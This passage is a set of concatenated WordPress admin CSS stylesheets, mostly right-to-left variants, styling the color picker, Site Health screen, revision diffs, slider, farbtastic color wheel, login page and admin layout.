.wp-color-picker{width:80px;direction:ltr}.wp-picker-container .hidden{display:none}.wp-picker-container .wp-color-result.button{min-height:30px;margin:0 0 6px 6px;padding:0 30px 0 0;font-size:11px}.wp-color-result-text{background:#f6f7f7;border-radius:2px 0 0 2px;border-right:1px solid #c3c4c7;color:#50575e;display:block;line-height:2.54545455;padding:0 6px;text-align:center}.wp-color-result:focus,.wp-color-result:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.wp-color-result:focus:after,.wp-color-result:hover:after{color:#1d2327;border-color:#a7aaad;border-right:1px solid #8c8f94}.wp-picker-container{display:inline-block}.wp-color-result:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.wp-color-result:active{transform:none!important}.wp-picker-open+.wp-picker-input-wrap{display:inline-block;vertical-align:top}.wp-picker-input-wrap label{display:inline-block;vertical-align:top}.form-table .wp-picker-input-wrap label{margin:0!important}.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear,.wp-customizer .wp-picker-input-wrap .button.wp-picker-default,.wp-picker-input-wrap .button.wp-picker-clear,.wp-picker-input-wrap .button.wp-picker-default{margin-right:6px;padding:0 8px;line-height:2.54545455;min-height:30px}.wp-picker-container .iris-square-slider .ui-slider-handle:focus{background-color:#50575e}.wp-picker-container .iris-picker{border-radius:0;border-color:#dcdcde;margin-top:6px}.wp-picker-container input[type=text].wp-color-picker{width:4rem;font-size:12px;font-family:monospace;line-height:2.33333333;margin:0;padding:0 5px;vertical-align:top;min-height:30px}.wp-color-picker::-webkit-input-placeholder{color:#646970}.wp-color-picker::-moz-placeholder{color:#646970;opacity:1}.wp-color-picker:-ms-input-placeholder{color:#646970}.wp-picker-container input[type=text].iris-error{background-color:#fcf0f1;border-color:#d63638;color:#000}.iris-picker .iris-strip .ui-slider-handle:focus,.iris-picker .ui-square-handle:focus{border-color:#3582c4;border-style:solid;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.iris-picker .iris-palette:focus{box-shadow:0 0 0 2px #3582c4}@media screen and (max-width:782px){.wp-picker-container input[type=text].wp-color-picker{width:5rem;font-size:16px;line-height:1.875;min-height:32px}.wp-customizer .wp-picker-container input[type=text].wp-color-picker{padding:0 5px}.wp-picker-input-wrap .button.wp-picker-clear,.wp-picker-input-wrap .button.wp-picker-default{padding:0 8px;line-height:2.14285714;min-height:32px}.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear,.wp-customizer .wp-picker-input-wrap .button.wp-picker-default{padding:0 8px;font-size:14px;line-height:2.14285714;min-height:32px}.wp-picker-container .wp-color-result.button{padding:0 40px 0 0;font-size:14px;line-height:2.14285714}.wp-customizer .wp-picker-container .wp-color-result.button{font-size:14px;line-height:2.14285714}.wp-picker-container .wp-color-result-text{padding:0 14px;font-size:inherit;line-height:inherit}.wp-customizer .wp-picker-container .wp-color-result-text{padding:0 10px}}/*! This file is auto-generated */
body.rtl,body.rtl .press-this a.wp-switch-editor{font-family:Tahoma,Arial,sans-serif}.rtl h1,.rtl h2,.rtl h3,.rtl h4,.rtl h5,.rtl h6{font-family:Arial,sans-serif;font-weight:600}body.locale-he-il,body.locale-he-il .press-this a.wp-switch-editor{font-family:Arial,sans-serif}.locale-he-il em{font-style:normal;font-weight:600}.locale-zh-cn #local-time,.locale-zh-cn #utc-time,.locale-zh-cn .form-wrap p,.locale-zh-cn .howto,.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,.locale-zh-cn .inline-edit-row fieldset span.title,.locale-zh-cn .js .input-with-default-title,.locale-zh-cn .link-to-original,.locale-zh-cn .tablenav .displaying-num,.locale-zh-cn p.description,.locale-zh-cn p.help,.locale-zh-cn p.install-help,.locale-zh-cn span.description{font-style:normal}.locale-zh-cn .hdnle a{font-size:12px}.locale-zh-cn form.upgrade .hint{font-style:normal;font-size:100%}.locale-zh-cn #sort-buttons{font-size:1em!important}.locale-de-de #customize-header-actions .button,.locale-de-de-formal #customize-header-actions .button{padding:0 5px 1px}.locale-de-de #customize-header-actions .spinner,.locale-de-de-formal #customize-header-actions .spinner{margin:16px 3px 0}.locale-ru-ru #adminmenu{width:inherit}.locale-ru-ru #adminmenu,.locale-ru-ru #wpbody{margin-right:0}.locale-ru-ru .inline-edit-row fieldset label span.title,.locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend{width:8em}.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap{margin-right:8em}.locale-ru-ru.post-new-php .tagsdiv .newtag,.locale-ru-ru.post-php .tagsdiv .newtag{width:165px}.locale-ru-ru.press-this .posting{margin-left:277px}.locale-ru-ru .press-this-sidebar{width:265px}.locale-ru-ru #customize-header-actions .button{padding:0 5px 1px}.locale-ru-ru #customize-header-actions .spinner{margin:16px 3px 0}.locale-lt-lt .inline-edit-row fieldset label span.title,.locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend{width:8em}.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap,.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap{margin-right:8em}@media screen and (max-width:782px){.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap,.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap{margin-right:0}}/*! This file is auto-generated */
/* Note: Any Site Health selectors that use
duplicate styling from the Privacy settings screen
are styled in the Privacy section of edit.css */

.health-check-body h2 {
	line-height: 1.4;
}

.health-check-body h3 {
	padding: 0;
	font-weight: 400;
}

.site-health-progress-wrapper {
	margin-bottom: 1rem;
}

.site-health-progress {
	display: inline-block;
	height: 20px;
	width: 20px;
	margin: 0;
	border-radius: 100%;
	position: relative;
	font-weight: 600;
	font-size: 0.4rem;
}

.site-health-progress-count {
	position: absolute;
	display: block;
	height: 80px;
	width: 80px;
	right: 50%;
	top: 50%;
	margin-top: -40px;
	margin-right: -40px;
	border-radius: 100%;
	line-height: 6.3;
	font-size: 2em;
}

.loading .site-health-progress svg #bar {
	stroke-dashoffset: 0;
	stroke: #c3c4c7;
	animation: loadingPulse 3s infinite ease-in-out;
}

.site-health-progress svg circle {
	stroke-dashoffset: 0;
	transition: stroke-dashoffset 1s linear;
	stroke: #c3c4c7;
	stroke-width: 2em;
}

.site-health-progress svg #bar {
	stroke-dashoffset: 565;
	stroke: #d63638;
}

.green .site-health-progress #bar {
	stroke: #00a32a;
}
.green .site-health-progress .site-health-progress-label {
	color: #00a32a;
}

.orange .site-health-progress #bar {
	stroke: #dba617;
}
.orange .site-health-progress .site-health-progress-label {
	color: #dba617;
}

.site-health-progress-label {
	font-weight: 600;
	line-height: 20px;
	margin-right: 0.3rem;
}

@keyframes loadingPulse {
	0% {
		stroke: #c3c4c7;
	}
	50% {
		stroke: #72aee6;
	}
	100% {
		stroke: #c3c4c7;
	}
}

.health-check-tabs-wrapper {
	/* IE 11 */
	display: -ms-inline-grid;
	-ms-grid-columns: 1fr 1fr 1fr 1fr;
	vertical-align: top;
	/* modern browsers */
	display: inline-grid;
	grid-template-columns: 1fr 1fr 1fr 1fr;
}

.health-check-tabs-wrapper.tab-count-1 {
	grid-template-columns: 1fr;
}
.health-check-tabs-wrapper.tab-count-2 {
	grid-template-columns: 1fr 1fr;
}
.health-check-tabs-wrapper.tab-count-3 {
	grid-template-columns: 1fr 1fr 1fr;
}

.health-check-tab {
	display: block; /* IE 11 */
	text-decoration: none;
	color: inherit;
	padding: 0.5rem 1rem 1rem;
	margin: 0 1rem;
	transition: box-shadow 0.5s ease-in-out;
}

.health-check-offscreen-nav-wrapper {
	position: relative;
	background: transparent;
	border: none;
}
.health-check-offscreen-nav-wrapper:focus .health-check-offscreen-nav {
	right: initial;
}

.health-check-offscreen-nav {
	display: none;
	position: absolute;
	padding-top: 10px;
	left: 0;
	top: 100%;
	width: 13rem;
}
.health-check-offscreen-nav-wrapper.visible .health-check-offscreen-nav {
	display: inline-block;
}
.health-check-offscreen-nav:before {
	position: absolute;
	content: "";
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 0 10px 5px;
	border-color: transparent transparent #ffffff;
	left: 20px;
	top: 5px;
}

.health-check-offscreen-nav .health-check-tab {
	background: #fff;
	box-shadow: 0 2px 5px 0 rgba( 0, 0, 0, 0.75 );
}

.health-check-offscreen-nav .health-check-tab.active {
	box-shadow: inset -3px 0 #3582c4;
	font-weight: 600;
}

.health-check-body {
	max-width: 800px;
	margin: 0 auto;
}

.health-check-table td:first-child {
	width: 30%;
}

.health-check-table td {
	width: 70%;
}

.health-check-table ul,
.health-check-table ol {
	margin: 0;
}

.health-check-body li {
	line-height: 1.5;
}

.health-check-body .pass::before,
.health-check-body .good::before {
	content: "\f147";
	color: #00a32a;
}

.health-check-body .warning::before {
	content: "\f460";
	color: #dba617;
}

.health-check-body .info::before {
	content: "\f348";
	color: #72aee6;
}

.health-check-body .fail::before,
.health-check-body .error::before {
	content: "\f335";
	color: #d63638;
}

.site-health-copy-buttons {
	margin: 1rem 0;
}

.site-health-copy-buttons .copy-button-wrapper {
	display: inline-flex;
	align-items: center;
	margin: 0.5rem 0 1rem;
}

.site-health-copy-buttons .success {
	color: #007017;
	margin-right: 0.5rem;
}

.site-status-has-issues.hide {
	display: none;
}

.site-health-view-more {
	text-align: center;
}

.site-health-issues-wrapper:first-of-type {
	margin-top: 3rem;
}

.site-health-issues-wrapper {
	margin-bottom: 3rem;
	margin-top: 2rem;
}

.site-status-all-clear {
	display: flex;
	flex-direction: column;
	align-items: center;
	justify-content: center;
	text-align: center;
	height: 100%;
	width: 100%;
	margin: 0 0 3rem;
}

@media all and (min-width: 784px) {
	.site-status-all-clear {
		margin: 2rem 0 5rem;
	}
}

.site-status-all-clear.hide {
	display: none;
}

.site-status-all-clear .dashicons {
	font-size: 150px;
	height: 150px;
	margin-bottom: 2rem;
	width: 150px;
}

.site-status-all-clear .encouragement {
	font-size: 1.5rem;
	font-weight: 600;
}

.site-status-all-clear p {
	margin: 0;
}

.wp-core-ui .button.site-health-view-passed {
	position: relative;
	padding-left: 40px;
	padding-right: 20px;
}

.health-check-wp-paths-sizes.spinner {
	visibility: visible;
	float: none;
	margin: 0 4px;
	flex-shrink: 0;
}

/* Styling unique to the dashboard widget. */
#dashboard_site_health .site-health-details {
	padding-right: 16px;
}

#dashboard_site_health .site-health-details p:first-child {
	margin-top: 0;
}

#dashboard_site_health .site-health-details p:last-child {
	margin-bottom: 0;
}

#dashboard_site_health .health-check-widget {
	display: grid;
	grid-template-columns: 1fr 2fr;
	grid-auto-rows: minmax(64px, auto);
	column-gap: 16px;
	align-items: center;
}
#dashboard_site_health .site-health-progress-label {
	margin-right: 0;
}

.health-check-widget-title-section {
	margin-bottom: 0;
	text-align: center;
}

@media screen and (max-width: 480px) {
	#dashboard_site_health .health-check-widget {
		grid-template-columns: 100%;
	}
}

@media screen and (max-width: 782px) {

	.site-health-issues-wrapper .health-check-accordion-trigger {
		flex-direction: column;
		align-items: flex-start;
	}

	.health-check-accordion-trigger .badge {
		margin: 1em 0 0;
	}

	.health-check-table {
		table-layout: fixed;
	}

	.health-check-table td {
		box-sizing: border-box;
		display: block;
		width: 100%;
		word-wrap: break-word;
	}

	.health-check-table td:first-child {
		width: 100%;
		padding-bottom: 0;
		font-weight: 600;
	}

	.wp-core-ui .site-health-copy-buttons .copy-button {
		margin-bottom: 0;
	}
}

/*------------------------------------------------------------------------------
  11.2 - Post Revisions
------------------------------------------------------------------------------*/
.revisions-control-frame,
.revisions-diff-frame {
	position: relative;
}

.revisions-diff-frame {
	top: 10px;
}

.revisions-controls {
	padding-top: 40px;
	z-index: 1;
}

.revisions-controls input[type="checkbox"] {
	position: relative;
	top: -1px;
	vertical-align: text-bottom;
}

.revisions.pinned .revisions-controls {
	position: fixed;
	top: 0;
	height: 82px;
	background: #fff;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

.revisions-tickmarks {
	position: relative;
	margin: 0 auto;
	height: 0.7em;
	top: 7px;
	max-width: 70%;
	box-sizing: border-box;
	background-color: #fff;
}

.revisions-tickmarks > div {
	position: absolute;
	height: 100%;
	border-left: 1px solid #a7aaad;
	box-sizing: border-box;
}

.revisions-tickmarks > div:first-child {
	border-width: 0;
}

.comparing-two-revisions .revisions-controls {
	height: 140px;
}

.comparing-two-revisions.pinned .revisions-controls {
	height: 124px;
}

.revisions .diff-error {
	position: absolute;
	text-align: center;
	margin: 0 auto;
	width: 100%;
	display: none;
}

.revisions.diff-error .diff-error {
	display: block;
}

.revisions .loading-indicator {
	position: absolute;
	vertical-align: middle;
	opacity: 0;
	width: 100%;
	width: calc( 100% - 30px );
	top: 50%;
	top: calc( 50% - 10px );
	transition: opacity 0.5s;
}

body.folded .revisions .loading-indicator {
	margin-left: -32px;
}

.revisions .loading-indicator span.spinner {
	display: block;
	margin: 0 auto;
	float: none;
}

.revisions.loading .loading-indicator {
	opacity: 1;
}

.revisions .diff {
	transition: opacity 0.5s;
}

.revisions.loading .diff {
	opacity: 0.5;
}

.revisions.diff-error .diff {
	visibility: hidden;
}

.revisions-meta {
	margin-top: 20px;
	background-color: #fff;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.revisions.pinned .revisions-meta {
	box-shadow: none;
}

.revision-toggle-compare-mode {
	position: absolute;
	top: 0;
	right: 0;
}

.comparing-two-revisions .revisions-previous,
.comparing-two-revisions .revisions-next,
.revisions-meta .diff-meta-to strong {
	display: none;
}

.revisions-controls .author-card .date {
	color: #646970;
}

.revisions-controls .author-card.autosave {
	color: #d63638;
}

.revisions-controls .author-card .author-name {
	font-weight: 600;
}

.comparing-two-revisions .diff-meta-to strong {
	display: block;
}

.revisions.pinned .revisions-buttons {
	padding: 0 11px;
}

.revisions-previous,
.revisions-next {
	position: relative;
	z-index: 1;
}

.revisions-previous {
	float: left;
}

.revisions-next {
	float: right;
}

.revisions-controls .wp-slider {
	max-width: 70%;
	margin: 0 auto;
	top: -3px;
}

.revisions-diff {
	padding: 15px;
	background-color: #fff;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

.revisions-diff h3:first-child {
	margin-top: 0;
}

/* Revision meta box */
.post-revisions li img,
#revisions-meta-restored img {
	vertical-align: middle;
}

table.diff {
	table-layout: fixed;
	width: 100%;
	white-space: pre-wrap;
}

table.diff col.content {
	width: auto;
}

table.diff col.content.diffsplit {
	width: 48%;
}

table.diff col.diffsplit.middle {
	width: auto;
}

table.diff col.ltype {
	width: 30px;
}

table.diff tr {
	background-color: transparent;
}

table.diff td,
table.diff th {
	font-family: Consolas, Monaco, monospace;
	font-size: 14px;
	line-height: 1.57142857;
	padding: 0.5em 0.5em 0.5em 2em;
	vertical-align: top;
	word-wrap: break-word;
}

table.diff td h1,
table.diff td h2,
table.diff td h3,
table.diff td h4,
table.diff td h5,
table.diff td h6 {
	margin: 0;
}

table.diff .diff-deletedline del,
table.diff .diff-addedline ins {
	text-decoration: none;
}

table.diff .diff-deletedline {
	position: relative;
	background-color: #fcf0f1;
}

table.diff .diff-deletedline del {
	background-color: #ffabaf;
}

table.diff .diff-addedline {
	position: relative;
	background-color: #edfaef;
}

table.diff .diff-deletedline .dashicons,
table.diff .diff-addedline .dashicons {
	position: absolute;
	top: 0.85714286em;
	left: 0.5em;
	width: 1em;
	height: 1em;
	font-size: 1em;
	line-height: 1;
}

table.diff .diff-addedline .dashicons {
	/* Compensate the vertically non-centered plus glyph. */
	top: 0.92857143em;
}

table.diff .diff-addedline ins {
	background-color: #68de7c;
}

.diff-meta {
	padding: 5px;
	clear: both;
	min-height: 32px;
}

.diff-title strong {
	line-height: 2.46153846;
	min-width: 60px;
	text-align: right;
	float: left;
	margin-right: 5px;
}

.revisions-controls .author-card .author-info {
	font-size: 12px;
	line-height: 1.33333333;
}

.revisions-controls .author-card .avatar,
.revisions-controls .author-card .author-info {
	float: left;
	margin-left: 6px;
	margin-right: 6px;
}

.revisions-controls .author-card .byline {
	display: block;
	font-size: 12px;
}

.revisions-controls .author-card .avatar {
	vertical-align: middle;
}

.diff-meta input.restore-revision {
	float: right;
	margin-left: 6px;
	margin-right: 6px;
	margin-top: 2px;
}

.diff-meta-from {
	display: none;
}

.comparing-two-revisions .diff-meta-from {
	display: block;
}

.revisions-tooltip {
	position: absolute;
	bottom: 105px;
	margin-right: 0;
	margin-left: -69px;
	z-index: 0;
	max-width: 350px;
	min-width: 130px;
	padding: 8px 4px;
	display: none;
	opacity: 0;
}

.revisions-tooltip.flipped {
	margin-left: 0;
	margin-right: -70px;
}

.revisions.pinned .revisions-tooltip {
	display: none !important;
}

.comparing-two-revisions .revisions-tooltip {
	bottom: 145px;
}

.revisions-tooltip-arrow {
	width: 70px;
	height: 15px;
	overflow: hidden;
	position: absolute;
	left: 0;
	margin-left: 35px;
	bottom: -15px;
}

.revisions-tooltip.flipped .revisions-tooltip-arrow {
	margin-left: 0;
	margin-right: 35px;
	left: auto;
	right: 0;
}

.revisions-tooltip-arrow > span {
	content: "";
	position: absolute;
	left: 20px;
	top: -20px;
	width: 25px;
	height: 25px;
	transform: rotate(45deg);
}

.revisions-tooltip.flipped .revisions-tooltip-arrow > span {
	left: auto;
	right: 20px;
}

.revisions-tooltip,
.revisions-tooltip-arrow > span {
	border: 1px solid #dcdcde;
	background-color: #fff;
}

.revisions-tooltip {
	display: none;
}

.arrow {
	width: 70px;
	height: 16px;
	overflow: hidden;
	position: absolute;
	left: 0;
	margin-left: -35px;
	bottom: 90px;
	z-index: 10000;
}

.arrow:after {
	z-index: 9999;
	background-color: #fff;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

.arrow.top {
	top: -16px;
	bottom: auto;
}

.arrow.left {
	left: 20%;
}

.arrow:after {
	content: "";
	position: absolute;
	left: 20px;
	top: -20px;
	width: 25px;
	height: 25px;
	transform: rotate(45deg);
}

.revisions-tooltip,
.revisions-tooltip-arrow:after {
	border-width: 1px;
	border-style: solid;
}

div.revisions-controls > .wp-slider > .ui-slider-handle {
	margin-left: -10px;
}

.rtl div.revisions-controls > .wp-slider > .ui-slider-handle {
	margin-right: -10px;
}

/* jQuery UI Slider */
.wp-slider.ui-slider {
	position: relative;
	border: 1px solid #dcdcde;
	text-align: left;
	cursor: pointer;
}

.wp-slider .ui-slider-handle {
	border-radius: 50%;
	height: 18px;
	margin-top: -5px;
	outline: none;
	padding: 2px;
	position: absolute;
	width: 18px;
	z-index: 2;
	touch-action: none;
}

.wp-slider .ui-slider-handle,
.wp-slider .ui-slider-handle.focus {
	background: #f6f7f7;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 0 #c3c4c7;
}

.wp-slider .ui-slider-handle:hover,
.wp-slider .ui-slider-handle.ui-state-hover {
	background: #f6f7f7;
	border-color: #8c8f94;
}

.wp-slider .ui-slider-handle:active,
.wp-slider .ui-slider-handle.ui-state-active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	transform: translateY(1px);
}

.wp-slider .ui-slider-handle:before {
	background: none;
	position: absolute;
	top: 2px;
	left: 2px;
	color: #50575e;
	content: "\f229";
	font: normal 18px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-slider .ui-slider-handle:hover:before,
.wp-slider .ui-slider-handle.ui-state-hover:before {
	color: #1d2327;
}

.wp-slider .ui-slider-handle.from-handle:before,
.wp-slider .ui-slider-handle.to-handle:before {
	font-size: 20px !important;
	margin: -1px 0 0 -1px;
}

.wp-slider .ui-slider-handle.from-handle:before {
	content: "\f139";
}

.wp-slider .ui-slider-handle.to-handle:before {
	content: "\f141";
}

.rtl .wp-slider .ui-slider-handle.from-handle:before {
	content: "\f141";
}

.rtl .wp-slider .ui-slider-handle.to-handle:before {
	content: "\f139";
	right: -1px;
}

.wp-slider .ui-slider-range {
	position: absolute;
	font-size: 0.7em;
	display: block;
	border: 0;
	background-color: transparent;
	background-image: none;
}

.wp-slider.ui-slider-horizontal {
	height: 0.7em;
}

.wp-slider.ui-slider-horizontal .ui-slider-handle {
	top: -.25em;
	margin-left: -.6em;
}

.wp-slider.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%;
}

.wp-slider.ui-slider-horizontal .ui-slider-range-min {
	left: 0;
}

.wp-slider.ui-slider-horizontal .ui-slider-range-max {
	right: 0;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	.revision-tick.completed-false {
		background-image: url(../images/spinner-2x.gif);
	}
}

@media screen and (max-width: 782px) {
	#diff-next-revision,
	#diff-previous-revision {
		margin-top: -1em;
	}

	.revisions-buttons {
		overflow: hidden;
		margin-bottom: 15px;
	}

	.revisions-controls,
	.comparing-two-revisions .revisions-controls {
		height: 170px;
	}

	.revisions-tooltip {
		bottom: 130px;
		z-index: 2;
	}

	.diff-meta {
		overflow: hidden;
	}

	table.diff {
		-ms-word-break: break-all;
		word-break: break-all;
		word-wrap: break-word;
	}

	.diff-meta input.restore-revision {
		margin-top: 0;
	}
}
/*! This file is auto-generated */
.farbtastic{position:relative}.farbtastic *{position:absolute;cursor:crosshair}.farbtastic,.farbtastic .wheel{width:195px;height:195px}.farbtastic .color,.farbtastic .overlay{top:47px;right:47px;width:101px;height:101px}.farbtastic .wheel{background:url(../images/wheel.png) no-repeat;width:195px;height:195px}.farbtastic .overlay{background:url(../images/mask.png) no-repeat}.farbtastic .marker{width:17px;height:17px;margin:-8px -8px 0 0;overflow:hidden;background:url(../images/marker.png) no-repeat}/*! This file is auto-generated */
body,html{height:100%;margin:0;padding:0}body{background:#f0f0f1;min-width:0;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4}a{color:#2271b1;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}a{outline:0}a:active,a:hover{color:#135e96}a:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}p{line-height:1.5}.login .message,.login .notice,.login .success{border-left:4px solid #72aee6;padding:12px;margin-left:0;margin-bottom:20px;background-color:#fff;box-shadow:0 1px 1px 0 rgba(0,0,0,.1);word-wrap:break-word}.login .success{border-left-color:#00a32a}.login .notice-error{border-left-color:#d63638}.login .login-error-list{list-style:none}.login .login-error-list li+li{margin-top:4px}#loginform p.submit,.login-action-lostpassword p.submit{border:none;margin:-10px 0 20px}.login *{margin:0;padding:0}.login .input::-ms-clear{display:none}.login .pw-weak{margin-bottom:15px}.login .button.wp-hide-pw{background:0 0;border:1px solid transparent;box-shadow:none;font-size:14px;line-height:2;width:2.5rem;height:2.5rem;min-width:40px;min-height:40px;margin:0;padding:5px 9px;position:absolute;right:0;top:0}.login .button.wp-hide-pw:hover{background:0 0}.login .button.wp-hide-pw:focus{background:0 0;border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.login .button.wp-hide-pw:active{background:0 0;box-shadow:none;transform:none}.login .button.wp-hide-pw .dashicons{width:1.25rem;height:1.25rem;top:.25rem}.login .wp-pwd{position:relative}.no-js .hide-if-no-js{display:none}.login form{margin-top:20px;margin-left:0;padding:26px 24px 34px;font-weight:400;overflow:hidden;background:#fff;border:1px solid #c3c4c7;box-shadow:0 1px 3px rgba(0,0,0,.04)}.login form.shake{animation:shake .2s cubic-bezier(.19,.49,.38,.79) both;animation-iteration-count:3;transform:translateX(0)}@keyframes shake{25%{transform:translateX(-20px)}75%{transform:translateX(20px)}100%{transform:translateX(0)}}@media (prefers-reduced-motion:reduce){.login form.shake{animation:none;transform:none}}.login-action-confirm_admin_email #login{width:60vw;max-width:650px;margin-top:-2vh}@media screen and (max-width:782px){.login-action-confirm_admin_email #login{box-sizing:border-box;margin-top:0;padding-left:4vw;padding-right:4vw;width:100vw}}.login form .forgetmenot{font-weight:400;float:left;margin-bottom:0}.login .button-primary{float:right}.login .reset-pass-submit{display:flex;flex-flow:row wrap;justify-content:space-between}.login .reset-pass-submit .button{display:inline-block;float:none;margin-bottom:6px}.login .admin-email-confirm-form .submit{text-align:center}.admin-email__later{text-align:left}.login form p.admin-email__details{margin:1.1em 0}.login h1.admin-email__heading{border-bottom:1px #f0f0f1 solid;color:#50575e;font-weight:400;padding-bottom:.5em;text-align:left}.admin-email__actions div{padding-top:1.5em}.login .admin-email__actions .button-primary{float:none;margin-left:.25em;margin-right:.25em}#login form p{margin-bottom:0}#login #reg_passmail,#login form .indicator-hint{margin-bottom:16px}#login form p.submit{margin:0;padding:0}.login label{font-size:14px;line-height:1.5;display:inline-block;margin-bottom:3px}.login .forgetmenot label,.login .pw-weak label{line-height:1.5;vertical-align:baseline}.login h1{text-align:center}.login h1 a{background-image:url(../images/w-logo-blue.png?ver=20131202);background-image:none,url(../images/wordpress-logo.svg?ver=20131107);background-size:84px;background-position:center top;background-repeat:no-repeat;color:#3c434a;height:84px;font-size:20px;font-weight:400;line-height:1.3;margin:0 auto 25px;padding:0;text-decoration:none;width:84px;text-indent:-9999px;outline:0;overflow:hidden;display:block}#login{width:320px;padding:5% 0 0;margin:auto}.login #backtoblog,.login #nav{font-size:13px;padding:0 24px}.login #nav{margin:24px 0 0}#backtoblog{margin:16px 0;word-wrap:break-word}.login #backtoblog a,.login #nav a{text-decoration:none;color:#50575e}.login #backtoblog a:hover,.login #nav a:hover,.login h1 a:hover{color:#135e96}.login #backtoblog a:focus,.login #nav a:focus,.login h1 a:focus{color:#043959}.login .privacy-policy-page-link{text-align:center;width:100%;margin:3em 0 2em}.login form .input,.login input[type=password],.login input[type=text]{font-size:24px;line-height:1.33333333;width:100%;border-width:.0625rem;padding:.1875rem .3125rem;margin:0 6px 16px 0;min-height:40px;max-height:none}.login input.password-input{font-family:Consolas,Monaco,monospace}.js.login input.password-input{padding-right:2.5rem}.login form .input,.login form input[type=checkbox],.login input[type=text]{background:#fff}.js.login-action-resetpass input[type=password],.js.login-action-resetpass input[type=text],.js.login-action-rp input[type=password],.js.login-action-rp input[type=text]{margin-bottom:0}.login #pass-strength-result{font-weight:600;margin:-1px 5px 16px 0;padding:6px 5px;text-align:center;width:100%}body.interim-login{height:auto}.interim-login #login{padding:0;margin:5px auto 20px}.interim-login.login h1 a{width:auto}.interim-login #login_error,.interim-login.login .message{margin:0 0 16px}.interim-login.login form{margin:0}.screen-reader-text,.screen-reader-text span{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}input::-ms-reveal{display:none}#language-switcher{padding:0;overflow:visible;background:0 0;border:none;box-shadow:none}#language-switcher select{margin-right:.25em}.language-switcher{margin:0 auto;padding:0 0 24px;text-align:center}.language-switcher label{margin-right:.25em}.language-switcher label .dashicons{width:auto;height:auto}.login .language-switcher .button{margin-bottom:0}@media screen and (max-height:550px){#login{padding:20px 0}#language-switcher{margin-top:0}}@media screen and (max-width:782px){.interim-login input[type=checkbox]{width:1rem;height:1rem}.interim-login input[type=checkbox]:checked:before{width:1.3125rem;height:1.3125rem;margin:-.1875rem 0 0 -.25rem}#language-switcher label,#language-switcher select{margin-right:0}}@media screen and (max-width:400px){.login .language-switcher .button{display:block;margin:5px auto 0}}/*! This file is auto-generated */
/* 2 column liquid layout */
#wpwrap {
	height: auto;
	min-height: 100%;
	width: 100%;
	position: relative;
	-webkit-font-smoothing: subpixel-antialiased;
}

#wpcontent {
	height: 100%;
	padding-right: 20px;
}

#wpcontent,
#wpfooter {
	margin-right: 160px;
}

.folded #wpcontent,
.folded #wpfooter {
	margin-right: 36px;
}

#wpbody-content {
	padding-bottom: 65px;
	float: right;
	width: 100%;
	overflow: visible;
}

/* inner 2 column liquid layout */

.inner-sidebar {
	float: left;
	clear: left;
	display: none;
	width: 281px;
	position: relative;
}

.columns-2 .inner-sidebar {
	margin-left: auto;
	width: 286px;
	display: block;
}

.inner-sidebar #side-sortables,
.columns-2 .inner-sidebar #side-sortables {
	min-height: 300px;
	width: 280px;
	padding: 0;
}

.has-right-sidebar .inner-sidebar {
	display: block;
}

.has-right-sidebar #post-body {
	float: right;
	clear: right;
	width: 100%;
	margin-left: -2000px;
}

.has-right-sidebar #post-body-content {
	margin-left: 300px;
	float: none;
	width: auto;
}

/* 2 columns main area */

#col-left {
	float: right;
	width: 35%;
}

#col-right {
	float: left;
	width: 65%;
}

#col-left .col-wrap {
	padding: 0 0 0 6px;
}

#col-right .col-wrap {
	padding: 0 6px 0 0;
}

/* utility classes */
.alignleft {
	float: right;
}

.alignright {
	float: left;
}

.textleft {
	text-align: right;
}

.textright {
	text-align: left;
}

.clear {
	clear: both;
}

/* modern clearfix */
.wp-clearfix:after {
	content: "";
	display: table;
	clear: both;
}

/* Hide visually but not from screen readers */
.screen-reader-text,
.screen-reader-text span,
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}

.button .screen-reader-text {
	height: auto; /* Fixes a Safari+VoiceOver bug, see ticket #42006 */
}

.screen-reader-text + .dashicons-external {
	margin-top: -1px;
	margin-right: 2px;
}

.screen-reader-shortcut {
	position: absolute;
	top: -1000em;
	right: 6px;
	height: auto;
	width: auto;
	display: block;
	font-size: 14px;
